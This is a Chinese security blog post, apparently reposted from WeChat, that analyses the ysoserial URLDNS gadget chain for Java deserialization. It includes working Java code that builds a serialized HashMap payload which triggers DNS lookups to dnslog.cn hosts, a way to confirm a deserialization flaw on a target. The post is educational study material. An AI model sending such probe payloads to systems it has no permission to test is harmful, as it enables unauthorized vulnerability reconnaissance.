雄关漫道真如铁 而今迈步从头越
0x01 前言
readObject()
方法,即是否存在Java 反序列化漏洞。该利用链具有如下特点:-
不限制jdk版本,使用 Java 内置的 URL 类,不依赖于任何的第三方库 -
只对指定的 URL 发送 DNS 查询,不做其他操作 -
在⽬目标没有回显的时候,能够通过DNS请求得知是否存在反序列列化漏洞
0x02 原理
java.util.HashMap
实现了Serializable
接口,重写了 readObject
, 在反序列化时会调用 hash
函数计算 key 的 hashCode.而 java.net.URL
的 hashCode
在计算时会调用 getHostAddress
来解析域名, 从而发出 DNS 请求。src/main/java/ysoserial/payloads/URLDNS.java
的注释中可以看到 URLDNS的调用链(Gadget Chain):Gadget Chain: HashMap.readObject() HashMap.putVal() HashMap.hash() URL.hashCode()
2.1 HashMap
HashMap: java中的一种容器,用来存储内容,内容以键值对的形式存放。
先来看看 HashMap 自己实现的 readObject() 函数
K key = (K) s.readObject();
反序列化后,调用 putVal和hash函数,也就是前面提到的Gadget Chain中的中间两个调用链,再来看看,hash这个函数的实现src/main/java/ysoserial/payloads/URLDNS.java
中可以得知这个key就是一个URL对象。2.2 hashCode
hashCode
函数来看看效果public class UrlDNSTest {
public static void main(String[] args) throws Exception {
URL url = new URL("http://wursz7.dnslog.cn");
url.hashCode();
}
}
hashCode
触发了一次DNS请求,使用 Ctrl+右键 点进去看看该函数的具体实现K key = (K) s.readObject();
这行进入URL#readObject 的getURLStreamHandler
函数进行handler 的赋值hashCode = handler.hashCode(this);
, 可以看到调用了getHostAddress
函数,这个函数就是用来 DNS 解析,返回对应 IP 的。URL 类在比较时,如果两个主机名都可以解析为相同的 IP 地址,则认为两个主机是等效的;
2.3 put 触发
动手实验一下
public class UrlDNSTest {
public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL("http://r6gyvj.dnslog.cn");
map.put(url, "yhy");
}
}
也是调用了hash(key) --> key.hashCode() 跟之前一样,所以会在put进一个key为URL对象时,会进行一次DNS解析。
2.4 反序列化
Serializable
接口,重写了 readObject
函数,也就是说当一个Java应用存在反序列化漏洞时,我们可以通过传入一个序列化后的HashMap数据(将URL对象作为key放入HashMap),当我们传入的数据到达该Java应用的反序列化漏洞点时,这时程序就会调用 HashMap 重写的readObject 函数来反序列化读取数据,也就是上述分析过程,然后就会触发 key.hashCode() 函数,进行一次DNS解析。2.5 至善至美
URLStreamHandler
类,重写了openConnection
和 getHostAddress
函数,然后将handler在创建URL时传入,其实这个传入的handler就是hashCode函数中的handlerReflections.setFieldValue(u, "hashCode", -1);
这一行代码。Reflections类是 ysoserial 写的一个反射类src/main/java/ysoserial/payloads/util/Reflections.java
,这是 setFieldValue
函数public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
setAccessible(field);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
那也就是说在下一步经过 HashMap的readObject 函数反序列化时, 因为此时 hashCode != -1
,会直接返回hashCode的值,不再进行调用 handler.hashCode(this)
。因此使用 Reflections.setFieldValue(u, "hashCode", -1);
反射将 hashCode的值设为 -1,让其进行下一步执行DNS解析。
执行序列化操作,生成payload
0x03 代码模拟
package ysoserial;
import java.io.*;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
/**
* @author yhy
* @date 2021/6/2 16:21
* @github https://github.com/yhy0
*/
public class UrlDNSTest {
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
public static void main(String[] args) throws Exception {
HashMap hashMap = new HashMap();
// 设置 put 时不发起 dns 解析
URLStreamHandler handler = new UrlDNSTest.SilentURLStreamHandler();
URL url = new URL(null, "http://atysqv.dnslog.cn", handler);
// 通过反射将put之后 hashCode 的 值重新赋值为 -1
Class clazz = Class.forName("java.net.URL");
Field f = clazz.getDeclaredField("hashCode");
f.setAccessible(true);
hashMap.put(url,"123");
f.set(url,-1);
// 序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
oos.writeObject(hashMap);
}
}
out.bin
文件将其反序列化来模拟漏洞点, public static void main(String[] args) throws Exception {
// 反序列化读取 out.bin 文件
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
ois.readObject();
}
请求成功。
最后回顾一下整个流程:
1. 将URL对象作为key放入hashMap中,将其序列化发送给目标机器
2. 如果目标机器存在反序列化漏洞,那么会执行HashMap.readObject()
将数据反序列化
3. 在反序列化期间,为了还原hashmap的内容,会调用hash()
方法,而hash()
函数会调用传入参数的hashCode()
方法
4. 当URL 对象的hashCode
属性值为-1
时会调用handler.hashCode()
,而这个方法会进行一次DNS查询。
0x04 参考
https://www.gettoby.com/p/hk4t4bb9qttz
免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。
来都来了,不关注一波?
本文始发于微信公众号(谁不想当剑仙):Java ysoserial学习之URLDNS(一)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论